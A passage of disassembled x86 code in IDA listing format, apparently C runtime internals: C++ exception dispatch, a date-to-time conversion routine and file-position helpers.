mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_421ED7
loc_421EB8: ; CODE XREF: sub_421DB1+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_422000
add esp, 0Ch
test eax, eax
jnz short loc_421EE6
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_421EB8
loc_421ED7: ; CODE XREF: sub_421DB1+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_421EA6
jmp short loc_421F0A
; ---------------------------------------------------------------------------
loc_421EE6: ; CODE XREF: sub_421DB1+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421F0A: ; CODE XREF: sub_421DB1+F3j
; sub_421DB1+133j
mov edi, [ebp+var_10]
loc_421F0D: ; CODE XREF: sub_421DB1+DEj
; sub_421DB1+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_421E81
; ---------------------------------------------------------------------------
loc_421F18: ; CODE XREF: sub_421DB1+D6j
cmp [ebp+arg_14], 0
jz short loc_421F28
push 1
push esi
call sub_422486
pop ecx
pop ecx
loc_421F28: ; CODE XREF: sub_421DB1+56j
; sub_421DB1+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421F2D: ; CODE XREF: sub_421DB1+37j
; sub_421DB1+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_421F53
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_421F58
add esp, 20h
jmp short loc_421F28
; ---------------------------------------------------------------------------
loc_421F53: ; CODE XREF: sub_421DB1+180j
jmp sub_42255C
sub_421DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F58 proc near ; CODE XREF: sub_421DB1+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DB9D4, 0
push esi
push edi
jz short loc_421F89
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C9CE
add esp, 1Ch
test eax, eax
jnz short loc_421FFC
loc_421F89: ; CODE XREF: sub_421F58+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov esi, eax
loc_421FA5: ; CODE XREF: sub_421F58+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_421FFC
cmp edi, [esi]
jl short loc_421FF4
cmp edi, [esi+4]
jg short loc_421FF4
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_421FCE
cmp byte ptr [ecx+8], 0
jnz short loc_421FF4
loc_421FCE: ; CODE XREF: sub_421F58+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421FF4: ; CODE XREF: sub_421F58+57j
; sub_421F58+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_421FA5
; ---------------------------------------------------------------------------
loc_421FFC: ; CODE XREF: sub_421F58+2Fj
; sub_421F58+53j
pop edi
pop esi
leave
retn
sub_421F58 endp
; =============== S U B R O U T I N E =======================================
sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_422057
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_422057
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_422031
add ecx, 8
push ecx
push edx
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_422053
loc_422031: ; CODE XREF: sub_422000+1Fj
test byte ptr [esi], 2
jz short loc_42203B
test byte ptr [edi], 8
jz short loc_422053
loc_42203B: ; CODE XREF: sub_422000+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_42204A
test byte ptr [edi], 1
jz short loc_422053
loc_42204A: ; CODE XREF: sub_422000+43j
test al, 2
jz short loc_422057
test byte ptr [edi], 2
jnz short loc_422057
loc_422053: ; CODE XREF: sub_422000+2Fj
; sub_422000+39j ...
xor eax, eax
jmp short loc_42205A
; ---------------------------------------------------------------------------
loc_422057: ; CODE XREF: sub_422000+Bj
; sub_422000+14j ...
push 1
pop eax
loc_42205A: ; CODE XREF: sub_422000+55j
pop edi
pop esi
retn
sub_422000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42205D proc near ; CODE XREF: sub_421D16+34p
; ___:00422153p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278C8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42208F: ; CODE XREF: sub_42205D+8Aj
cmp esi, [ebp+arg_C]
jz short loc_4220E9
cmp esi, 0FFFFFFFFh
jle short loc_42209E
cmp esi, [edi+4]
jl short loc_4220A3
loc_42209E: ; CODE XREF: sub_42205D+3Aj
call sub_4225B2
loc_4220A3: ; CODE XREF: sub_42205D+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_4220BE
push 103h
push ebx
push eax
call sub_422510
loc_4220BE: ; CODE XREF: sub_42205D+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4220DE
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_4220FB
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_4220DE: ; CODE XREF: sub_42205D+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42208F
; ---------------------------------------------------------------------------
loc_4220E9: ; CODE XREF: sub_42205D+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42205D endp
; =============== S U B R O U T I N E =======================================
sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_42210C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42210C: ; CODE XREF: sub_4220FB+Cj
jmp sub_42255C
sub_4220FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_422111 proc near ; CODE XREF: sub_421DB1+151p
; sub_421F58+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_422133
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_4222C2
add esp, 10h
loc_422133: ; CODE XREF: sub_422111+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_42213F
push edi
jmp short loc_422142
; ---------------------------------------------------------------------------
loc_42213F: ; CODE XREF: sub_422111+29j
push [ebp+arg_24]
loc_422142: ; CODE XREF: sub_422111+2Cj
call sub_41C8D0
sub_422111 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_42205D
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_42218C
add esp, 2Ch
test eax, eax
jz short loc_422187
push edi
push eax
call sub_41C88E
loc_422187: ; CODE XREF: ___:0042217Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42218C proc near ; CODE XREF: ___:00422174p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DB9CC
mov [ebp+var_1C], ecx
mov ecx, dword_4DB9D0
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DB9CC, edi
mov ecx, [ebp+arg_8]
mov dword_4DB9D0, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41C955
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422252
mov eax, [ebp+var_2C]
loc_422219: ; CODE XREF: sub_422232+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42218C endp
; =============== S U B R O U T I N E =======================================
sub_422228 proc near ; DATA XREF: ___:004278E8o
push dword ptr [ebp-14h]
call sub_422298
pop ecx
retn
sub_422228 endp
; =============== S U B R O U T I N E =======================================
sub_422232 proc near ; DATA XREF: ___:004278ECo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41CBB6
pop ecx
pop ecx
xor eax, eax
jmp short loc_422219
sub_422232 endp
; ---------------------------------------------------------------------------
loc_42224A: ; DATA XREF: ___:004278E0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422252 proc near ; CODE XREF: sub_42218C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DB9CC, eax
mov eax, [ebp-20h]
mov dword_4DB9D0, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422297
cmp dword ptr [edi+10h], 3
jnz short locret_422297
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422297
cmp [ebp-24h], ebx
jnz short locret_422297
cmp [ebp-2Ch], ebx
jz short locret_422297
call sub_41CC1E
push eax
push edi
call sub_422486
pop ecx
pop ecx
locret_422297: ; CODE XREF: sub_422252+1Cj
; sub_422252+22j ...
retn
sub_422252 endp
; =============== S U B R O U T I N E =======================================
sub_422298 proc near ; CODE XREF: sub_422228+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4222BF
cmp dword ptr [eax+10h], 3
jnz short loc_4222BF
cmp dword ptr [eax+14h], 19930520h
jnz short loc_4222BF
cmp dword ptr [eax+1Ch], 0
jnz short loc_4222BF
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4222BF: ; CODE XREF: sub_422298+Cj
; sub_422298+12j ...
xor eax, eax
retn
sub_422298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_42246B
cmp byte ptr [eax+8], 0
jz loc_42246B
mov eax, [ecx+8]
test eax, eax
jz loc_42246B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_42235F
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422350: ; CODE XREF: sub_4222C2+F5j
push eax
call sub_4224ED
pop ecx
pop ecx
mov [edi], eax
jmp loc_422467
; ---------------------------------------------------------------------------
loc_42235F: ; CODE XREF: sub_4222C2+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_4223B9
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41CC90
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422467
mov eax, [edi]
test eax, eax
jz loc_422467
add esi, 8
push esi
jmp short loc_422350
; ---------------------------------------------------------------------------
loc_4223B9: ; CODE XREF: sub_4222C2+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422401
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push edi
call sub_41CC90
add esp, 0Ch
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422401: ; CODE XREF: sub_4222C2+103j
call sub_424770
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+18h]
call sub_4247A8
pop ecx
test eax, eax
jz short loc_422462
test byte ptr [esi], 4
jz short loc_422448
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C9
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422448: ; CODE XREF: sub_4222C2+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C2
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422462: ; CODE XREF: sub_4222C2+6Aj
; sub_4222C2+7Cj ...
call sub_4225B2
loc_422467: ; CODE XREF: sub_4222C2+98j
; sub_4222C2+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_42246B: ; CODE XREF: sub_4222C2+2Ej
; sub_4222C2+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4222C2 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422486 proc near ; CODE XREF: sub_421DB1+170p
; sub_422252+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427900
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_4224CD
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_4224CD
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41C8C2
or [ebp+var_4], 0FFFFFFFFh
loc_4224CD: ; CODE XREF: sub_422486+2Aj
; sub_422486+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422486 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp
; sub_4222C2+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_42250E
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_42250E: ; CODE XREF: sub_4224ED+12j
pop esi
retn
sub_4224ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422510 proc near ; CODE XREF: sub_41C955+40p
; sub_42205D+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41CC41
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42254F
mov ecx, 2
loc_42254F: ; CODE XREF: sub_422510+38j
push ecx
call sub_41CC41
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j
; sub_4220FB:loc_42210Cj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427910
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DB9D8
test eax, eax
jz short loc_4225A4
mov [ebp+var_4], 1
call eax
jmp short loc_4225A0
; ---------------------------------------------------------------------------
loc_422599: ; DATA XREF: ___:00427920o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_42259D: ; DATA XREF: ___:00427924o
mov esp, [ebp+var_18]
loc_4225A0: ; CODE XREF: sub_42255C+3Bj
and [ebp+var_4], 0
loc_4225A4: ; CODE XREF: sub_42255C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_4225AD: ; DATA XREF: ___:00427918o
jmp loc_4247C0
sub_42255C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p
; sub_41CAF7:loc_41CB62p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427928
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43CF74
test eax, eax
jz short loc_4225FA
mov [ebp+var_4], 1
call eax ; sub_42255C
jmp short loc_4225F6
; ---------------------------------------------------------------------------
loc_4225EF: ; DATA XREF: ___:00427938o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4225F3: ; DATA XREF: ___:0042793Co
mov esp, [ebp+var_18]
loc_4225F6: ; CODE XREF: sub_4225B2+3Bj
and [ebp+var_4], 0
loc_4225FA: ; CODE XREF: sub_4225B2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422603: ; DATA XREF: ___:00427930o
jmp sub_42255C
sub_4225B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422608 proc near ; CODE XREF: sub_41CFD3+7p
; sub_41CFD3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DCFC8
push esi
cmp eax, 3
jnz short loc_422631
mov esi, [ebp+arg_0]
push esi
call sub_41DE77
test eax, eax
pop ecx
jz short loc_42262E
mov eax, [esi-4]
sub eax, 9
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_422608+1Cj
push esi
jmp short loc_422658
; ---------------------------------------------------------------------------
loc_422631: ; CODE XREF: sub_422608+Ej
cmp eax, 2
jnz short loc_422655
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_422655
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_422655: ; CODE XREF: sub_422608+2Cj
; sub_422608+43j
push [ebp+arg_0]
loc_422658: ; CODE XREF: sub_422608+27j
push 0
push dword_4DCFC4
call near ptr 27F0CC2h
nop
loc_422666: ; CODE XREF: sub_422608+24j
; sub_422608+4Bj
pop esi
leave
retn
sub_422608 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422669 proc near ; CODE XREF: sub_41D081+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_422725
cmp ebx, 8Ah
jg loc_422725
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43D43C[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4226A8
cmp edi, 2
jle short loc_4226A8
inc esi
loc_4226A8: ; CODE XREF: sub_422669+37j
; sub_422669+3Cj
call sub_4247D7
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43D358
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_42271B
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_422721
cmp dword_43D35C, 0
jz short loc_422721
lea eax, [ebp+var_24]
push eax
call sub_424A4A
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_422721
loc_42271B: ; CODE XREF: sub_422669+90j
add ecx, dword_43D360
loc_422721: ; CODE XREF: sub_422669+96j
; sub_422669+9Fj ...
mov eax, ecx
jmp short loc_422728
; ---------------------------------------------------------------------------
loc_422725: ; CODE XREF: sub_422669+13j
; sub_422669+1Fj
or eax, 0FFFFFFFFh
loc_422728: ; CODE XREF: sub_422669+BAj
pop ebx
leave
retn
sub_422669 endp
; =============== S U B R O U T I N E =======================================
sub_42272B proc near ; CODE XREF: ___:0041D253p
; sub_41F11C+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DCD80
push esi
push edi
jnb short loc_4227AD
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DCC80h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_4227AD
push eax
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_42276F
mov dword_4DB928, 9
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42276F: ; CODE XREF: sub_42272B+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call near ptr 2920000h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_42278F
call near ptr 2830047h
nop
jmp short loc_422791
; ---------------------------------------------------------------------------
loc_42278F: ; CODE XREF: sub_42272B+5Aj
xor eax, eax
loc_422791: ; CODE XREF: sub_42272B+62j
test eax, eax
jz short loc_42279E
push eax
call sub_4203DF
pop ecx
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42279E: ; CODE XREF: sub_42272B+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_4227C1
; ---------------------------------------------------------------------------
loc_4227AD: ; CODE XREF: sub_42272B+Dj
; sub_42272B+2Aj
and dword_4DB92C, 0
mov dword_4DB928, 9
loc_4227BE: ; CODE XREF: sub_42272B+42j
; sub_42272B+71j
or eax, 0FFFFFFFFh
loc_4227C1: ; CODE XREF: sub_42272B+80j
pop edi
pop esi
pop ebx
retn
sub_42272B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227C5 proc near ; CODE XREF: ___:0041D216p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_4227E1
mov [edi+4], ebx
loc_4227E1: ; CODE XREF: sub_4227C5+17j
push 1
push ebx
push esi
call sub_42272B
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42284F
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422806
sub eax, [edi+4]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422806: ; CODE XREF: sub_4227C5+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_422840
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DCC80[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_422857
mov edx, ecx
loc_422831: ; CODE XREF: sub_4227C5+79j
cmp edx, eax
jnb short loc_422857
cmp byte ptr [edx], 0Ah
jnz short loc_42283D
inc [ebp+var_8]
loc_42283D: ; CODE XREF: sub_4227C5+73j
inc edx
jmp short loc_422831
; ---------------------------------------------------------------------------
loc_422840: ; CODE XREF: sub_4227C5+50j
test dl, 80h
jnz short loc_422857
mov dword_4DB928, 16h
loc_42284F: ; CODE XREF: sub_4227C5+2Dj
or eax, 0FFFFFFFFh
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422857: ; CODE XREF: sub_4227C5+68j
; sub_4227C5+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_422865
mov eax, [ebp+var_8]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422865: ; CODE XREF: sub_4227C5+96j
test byte ptr [edi+0Ch], 1
jz loc_422910
mov edx, [edi+4]
test edx, edx
jnz short loc_42287E
and [ebp+var_8], edx
jmp loc_422910
; ---------------------------------------------------------------------------
loc_42287E: ; CODE XREF: sub_4227C5+AFj
